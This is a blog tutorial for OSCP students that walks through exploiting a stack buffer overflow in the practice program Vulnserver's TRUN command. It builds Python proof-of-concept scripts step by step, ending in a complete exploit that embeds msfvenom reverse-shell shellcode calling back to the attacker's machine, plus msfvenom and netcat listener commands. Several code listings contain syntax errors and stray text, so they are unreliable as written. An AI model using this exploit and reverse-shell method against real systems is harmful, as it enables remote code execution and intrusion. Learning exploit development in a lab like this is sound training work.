So for some PWK (OSCP) students, the Buffer Overflow can be the bit of the course that causes no end of confusion and problems. I must admit when I first started I was in the same place. Little knowledge of C, let alone assembler along with trying to use Immunity for the first few times caused no end of frustration.
For this blog I have two machines on a local subnet – the first being a Windows 10 box, which will be our debug machine and target. The second will be a Kali 2020 machine, from which we will launch our Proof of Concept exploit.
To keep things straight forward I am using Vuln Server as the target, easily available and a great way of practicing prior to OSCP, or just to keep your skills fresh. To save the frantic Google search, Vulnserver is available from Github, https://github.com/stephenbradshaw/vulnserver you just need to download, extract and double click to run on your windows machine. If all is well you should have a screen similar to this,
Once launched, we can verify connectivity between our machines with NC, this can save a lot of heartache once we get into the Proof of Concept (PoC) development, so worthwhile doing! Throw the following command in your kali shell (replace the placeholder with your ip address) and you should be connected to the Vulnserver.
nc -nv [ip address] 9999
Now we have verified the basics (you did let Vulnserver through the firewall didn’t you….!???) Now with this setup we can’t do very much, we need a debugger to be installed on the Windows machine to allow us to understand what our PoC is doing to the target program. So grab a copy of Immunity from here https://www.immunityinc.com/products/debugger/ and install it on your Windows box. We will also be using the !Mona module for Immunity, grab that from here: https://github.com/corelan/mona and follow the repo instructions to install it into your Immunity installation. Now we have immunity and Mona installed we can take a little closer look at our Vulenrable program.
The program is still running isn’t it? (O.K go start it up again …) now we can attach Immunity, so with Immunity running, click File, Attach and find Vulnserver in the list of running processes;
and we should be greeted with something similar to this;
Hit the play button on the menu bar and the Vulnserver will continue running ready for us to do our worst.
Now much like the OSCP courseware I’m not going to cover Fuzzing in this blog post, I want to cover that separately as its worth a much longer writeup than a couple of lines, so…….
Our target for today is the TRUN command. Now the idea of a buffer overflow is that software uses regions of memory to hold information. Typically this is a finite resource and can be used up during the execution of a programme. What we are going to take advantage of is when the software doesn’t deal with this very well and ends up overwriting other areas of memory. For this example if we send the command TRUN and 5000 A characters to Vulnserver, we can force this situation.
But first we need to write some code to send TRUN command and 5000 A’s.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 5000 # The very large amount of data that forces a overflow
buffer = command + overflow #add our overflow to the command
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
Copy the above code and create a poc.py file, obviously the IP address needs changing to the target you are using to host the Vulnerable Server. Now we can execute the code.
python poc.py
All being well we should be presented with a situation similar to the following;
Now if we look carefully at the Registers section of the main window (top right) we can see the following;
You should be able to see a register, named EIP, has the value 41414141. EIP or the Extended Instruction Pointer is one of those registers you don’t want invalid inputs overwriting on demand! EIP normally contains the memory address of the next instruction to be executed. In this case it’s a garbage value of 41414141 and the programme crashes. However, if we can place a memory instruction here by design we can start to ensure the vulnerable programme can be controlled to do what the original developer did not intend.
All very good in theory, but how can we overwrite the EIP register with just the right 4 bytes of data?
Before we answer that, we need to get Vulnserver recovered and ready for our next test! In Immunity, click File and VulnServer should be listed at the bottom of the menu. Click it or hit Cntrl + F2 to restart the program in Immunity, accept the warning and hit play to start the server again.
Fortunately in 2020 we have plenty of assistance scripts to help find the location of EIP for us. The easiest is using the Metasploit pattern create tool. This creates a string of unique characters, which we can feed to our PoC. This should then overwrite EIP and give us a value we can get Mona to tell us how far along the buffer of 5000 characters is.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
We can then put this into our PoC in order to figure out the EIP position.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 5000 # The very large amount of data that forces a overflow
pattern = " insert the pattern_create output here in between speech marks"
buffer = command + pattern #change this bit otherwise we wont send the new buffer!
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
We can now re-send the PoC and hopefully get the new value overwriting EIP;
We can see that EIP has been overwritten with 386F4337. We can now get Mona to tell us how far in our buffer of 5000 characters this position is.
So to do this we are going to write the following command in Immunity in the white box at the bottom. This provides the offset value to Immunity and it should tell us the offset value we need for EIP.
!mona pattern_offset 386F4337
A new window will pop open and run the command, hopefully telling us the offset is located at position 2003. Now we know this value, we can attempt to overwrite this position with a carefully crafted payload – in this case BBBB!. Our updated PoC will look like this:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 2003 # overflow has now been trimmed to our offset value
eip = "B" * 4
pad = "C" * (5000-2003-4) we include padding to ensure over buffer is still 5000 long.
buffer = command + overflow + eip + pad #updated to include the eip and padding.
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
Looking at the latest results in Immunity, we can see that EIP has been over written with 42424242, indicating our C’s have been placed in the correct location! Next we need to take a little detour, before we can take advantage of this we need to ensure any characters we pass to the programme will not corrupt the execution flow. The best way to get a good understanding of this is to do it manually. We will pass a buffer with every character (excluding \x00 as that is a bad char in every scenario) and inspect the ESP buffer for corruption.
First we update the PoC;
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 2003 # overflow has now been trimmed to our offset value
eip = "B" * 4
pad = "C" * (5000-2003-4) we include padding to ensure over buffer is still 5000 long.
badchars = "(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = command + overflow + eip + badchars #updated to include the eip and padding.
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
In order to check this in Immunity, we will hover over the ESP buffer in the Registers window (top right), right click and select Follow in Dump;
Once we have clicked Follow in Dump we can then see the contents of the ESP buffer and hopefully our Bad Chars buffer. From this example we can see that all characters are present and correct, showing us that \x00 is the only bad character. As an example, we can normally spot Bad chars as a corruption, i.e when you look at ESP the sequence of characters will be broken, i.e. you could get 11 12 13 and then some seemingly random characters. This would indicate that 14 is a bad char in that example. You need to take careful note of this and take your time as time rushed here can be wasted time trying to debug shell code that won’t run later on due to a missed bad char!
As we have identified our solitary bad char, importantly in the location we would like our shell code, we can look to get back to controlling execution flow of the programme. At the moment when we run the programme our exploit isn’t very repeatable as the ESP register contents moves address locations between executions. We need to find an instruction that doesn’t move that we can use to point back to the ESP register and be reliable every time the programme runs.
Fortunately this is something that legitimate programmes do and is an instruction named JMP ESP. Which does what it sounds like; jumps to the ESP register. We need to do a couple of things; first figure out the opcode or hex equivalent of the text JMP ESP and then find a memory location in our programme that already has this instruction.
To find the op code representation of JMP ESP we can use msf-nasm_shell;
This tells us that FFE4 is the Hex representation we are going to need to search for. Before we can search for it we need to find a location to search in. For Vulnserver this is fairly straightforward as it’s a small application, however with bigger apps we might have a multitude of supporting modules and plugins that may contain code we can target. It’s always making sure the application is executing prior to searching as additional modules may only load at runtime. We can search for a module as follows:
In Immunity we can use Mona again with the following command;
!mona modules
From this output we need to find a module that has no memory protection and has no Bad Chars in the address location. For our purposes here it looks like essfunc.dll is a good place to start;
We can search that module for our JMP ESP instruction with the following command;
!mona find -s "\xff\xe4" -, "essfunc.dll"
We are greeted with the following output, which shows us 24 different locations this instruction occurs within.
Using our criteria of no memory protection and no bad chars, it looks like memory location 0x625011af could be useable for our nefarious aims. To test this theory, we are going to update our PoC and hopefully if it works our code will end up pointing at that memory location for a JMP ESP command. In order to make this work we need to reverse the address due to Windows using little endian format.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 2003 # overflow has now been trimmed to our offset value
eip = "\xAF\x11\x50\x62""
pad = "C" * (5000-2003-4) we include padding to ensure over buffer is still 5000 long.
buffer = command + overflow + eip + pad
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
Now in Immunity we need to set a Breakpoint in order to stop the debugger if our programme hits the memory address of our choosing. To do this we can first of all right click in the top left panel, select Go to and Expression. In the pop-up, fill in our JMP ESP instruction memory location and hit ok, the debugger should take you to our chosen instruction.
and we can now set a break point, right click, select Breakpoint and Toggle.
Now all being well we can resend our PoC and hopefully execution will pause on our chosen instruction.
As we can see in the above image EIP is pointing at our address and the programme has stopped on our break point – fantastic, now all we should need to do is drop in our shell code and we should have a working exploit. Typically we need to ensure we have enough buffer space in ESP to accommodate our shell code, typically 380 bytes or so. In our case we have (5000-2003-4) which equates to 2993 bytes, plenty of space to work with. On some occasions we may not have quite as much space and might need to add a few tricks to our arsenal to get around those situations. I’ll show one of these later, first lets get a working exploit.
So we need to drop some shell code in, first we need to assemble some shellcode, fortunately at this stage of our exploit development career msfvenom can do this for us. We can use the following command to do this:
msfvenom -p windows/shell_reverse_tcp LHOST=[ip address for our kali box] LPORT=4043 -f c -a x86 --platform windows -b "\x00"
This command generates a TCP reverse shell for the windows platform and excludes the \x00 chars. We should get something like this as the output:
We can now place this into our PoC and hopefully receive a reverse shell. First update the PoC.
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
command = "TRUN /.:/" #Define the command we want the programme to respond to, in this case TRUN
overflow = "A" * 2003 # overflow has now been trimmed to our offset value
eip = "\xAF\x11\x50\x62""
shell = "(
"\xbf\x9f\xd0\x76\x0e\xda\xd2\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x83\xc2\x04\x31\x7a\x0e\x03\xe5\xde\x94\xfb\xe5\x37\xda"
"\x04\x15\xc8\xbb\x8d\xf0\xf9\xfb\xea\x71\xa9\xcb\x79\xd7\x46"
"\xa7\x2c\xc3\xdd\xc5\xf8\xe4\x56\x63\xdf\xcb\x67\xd8\x23\x4a"
"\xe4\x23\x70\xac\xd5\xeb\x85\xad\x12\x11\x67\xff\xcb\x5d\xda"
"\xef\x78\x2b\xe7\x84\x33\xbd\x6f\x79\x83\xbc\x5e\x2c\x9f\xe6"
"\x40\xcf\x4c\x93\xc8\xd7\x91\x9e\x83\x6c\x61\x54\x12\xa4\xbb"
"\x95\xb9\x89\x73\x64\xc3\xce\xb4\x97\xb6\x26\xc7\x2a\xc1\xfd"
"\xb5\xf0\x44\xe5\x1e\x72\xfe\xc1\x9f\x57\x99\x82\xac\x1c\xed"
"\xcc\xb0\xa3\x22\x67\xcc\x28\xc5\xa7\x44\x6a\xe2\x63\x0c\x28"
"\x8b\x32\xe8\x9f\xb4\x24\x53\x7f\x11\x2f\x7e\x94\x28\x72\x17"
"\x59\x01\x8c\xe7\xf5\x12\xff\xd5\x5a\x89\x97\x55\x12\x17\x60"
"\x99\x09\xef\xfe\x64\xb2\x10\xd7\xa2\xe6\x40\x4f\x02\x87\x0a"
"\x8f\xab\x52\x9c\xdf\x03\x0d\x5d\x8f\xe3\xfd\x35\xc5\xeb\x22"
"\x25\xe6\x21\x4b\xcc\x1d\xa2\xd8\x03\x1c\x56\x49\x26\x1e\x99"
"\x42\xaf\xf8\xcf\x44\xe6\x53\x78\xfc\xa3\x2f\x19\x01\x7e\x4a"
"\x19\x89\x8d\xab\xd4\x7a\xfb\xbf\x81\x8a\xb6\x9d\x04\x94\x6c"
"\x89\xcb\x07\xeb\x49\x85\x3b\xa4\x1e\xc2\x8a\xbd\xca\xfe\xb5"
"\x17\xe8\x02\x23\x5f\xa8\xd8\x90\x5e\x31\xac\xad\x44\x21\x68"
"\x2d\xc1\x15\x24\x78\x9f\xc3\x82\xd2\x51\xbd\x5c\x88\x3b\x29"
"\x18\xe2\xfb\x2f\x25\x2f\x8a\xcf\x94\x86\xcb\xf0\x19\x4f\xdc"
"\x89\x47\xef\x23\x40\xcc\x1f\x6e\xc8\x65\x88\x37\x99\x37\xd5"
"\xc7\x74\x7b\xe0\x4b\x7c\x04\x17\x53\xf5\x01\x53\xd3\xe6\x7b"
"\xcc\xb6\x08\x2f\xed\x92")
nop = "\x90" * 20
pad = "C" * (5000-2003-4-351) we include padding to ensure over buffer is still 5000 long.
buffer = command + overflow + eip + nop + shell + pad
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) #set up a IP TCP socket
s.connect(("172.18.1.101", 9999)) #Define the IP address and port we are going to connect to
s.send(buffer) #send our buffer
s.close() # close the socket on completion
print "\nDone!" #let us know we are done
except:
print "\nCould not connect!" # ah, a problem has occurred.
We have added some No Operation (NOP) instructions to provide a little space for the shell code to unpack and to get to work. We have also maintained our padding in order to ensure the buffer length is consistent. We can now restart Vulnserver for a last time and start a reverse listener with the following code: (Ensure you are listening on the correct port!)
nc - nlvp 4043
After executing the PoC we should now have a reverse shell to the Vulnserver on our Kali machine:
Congratulations, we have now written a custom exploit.
some tips …
We wont always be able to put our shellcode in ESP exactly like we did in this example. Sometimes there is just insufficient space to do so. In these cases we need to get creative! One example is putting our shell code in the middle of our buffer overwrite and traversing back to it in order to execute. For example, the hex \xEV\xC4 would allow us to jump back 60 Bytes, or we could use \xFF\xE1 to jump to the ECX register. Using things like egg hunters is slightly more advanced, but once you understand about jumping around various bits of the stack it should be straight forward to implement.
This was a 101 type introduction to the Buffer Over Flow, handy for OSCP studies and general learning. I am going to continue this into a series of posts, covering different Vulnserver commands along with fuzzing. Happy reading!